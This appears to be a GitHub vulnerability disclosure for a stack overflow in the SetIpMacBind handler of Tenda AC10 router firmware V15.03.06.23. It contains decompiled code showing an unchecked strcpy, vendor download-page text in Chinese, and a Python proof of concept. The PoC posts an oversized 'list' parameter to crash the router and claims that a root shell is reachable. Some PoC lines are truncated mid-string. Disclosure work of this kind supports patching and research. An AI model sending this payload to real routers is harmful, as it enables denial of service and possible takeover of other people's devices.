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z1r00 Update readme.md

History

1 contributor

64 lines (41 sloc) | 1.79 KB

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Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2734.html>

Affected version

AC10V1.0升级软件 V15.03.06.23

立即下载

关联产品: AC10 v2.0 更新日期: 2017/10/18

1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级,不同型号不能使用该软件,升级前请确定当前软件版本。

2.下载解压后,请使用有线连接路由器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系[在线客服](#), 谢谢。

Vulnerability details

```
29  memset(new_macstr, 0, sizeof(new_macstr));
30  memset(mac_addr, 0, sizeof(mac_addr));
31  memset(ip_addr, 0, sizeof(ip_addr));
32  memset(dev_name, 0, sizeof(dev_name));
33  static_num = websGetVar(wp, "bindnum", "0");
34  static_list = websGetVar(wp, "list", byte_5195C8);
35  GetValue("dhcps.Staticnum", mib_value);
36  old_static_num = atoi(mib_value);
37  new_static_num = atoi(static_num);
38  if ( new_static_num >= 0 && new_static_num < 33 )
39  {
40      list = static_list;
41      for ( i = 1; list && new_static_num >= i; ++i )
42      {
43          p = strchr(list, 10);
44          if ( p )
45          {
46              *p = 0;
47              strcpy(mib_buf, list);           // vuln overflow
48              list = p + 1;
49          }
50          else
51          {
52              strcpy(mib_buf, list);
53          }
54          if ( mib_buf[0] == 13 )
55          {
```

/goform/SetIpMacBind, The static_list is controllable, it will assign the value to the list, and finally use strcpy to copy the list to mib_buf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability

Poc

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x1000
p2 = b'list=' + p1

p3 = b"POST /goform/SetIpMacBind" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=password; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```



You can see the router crash, and finally we can write an exp to get a root shell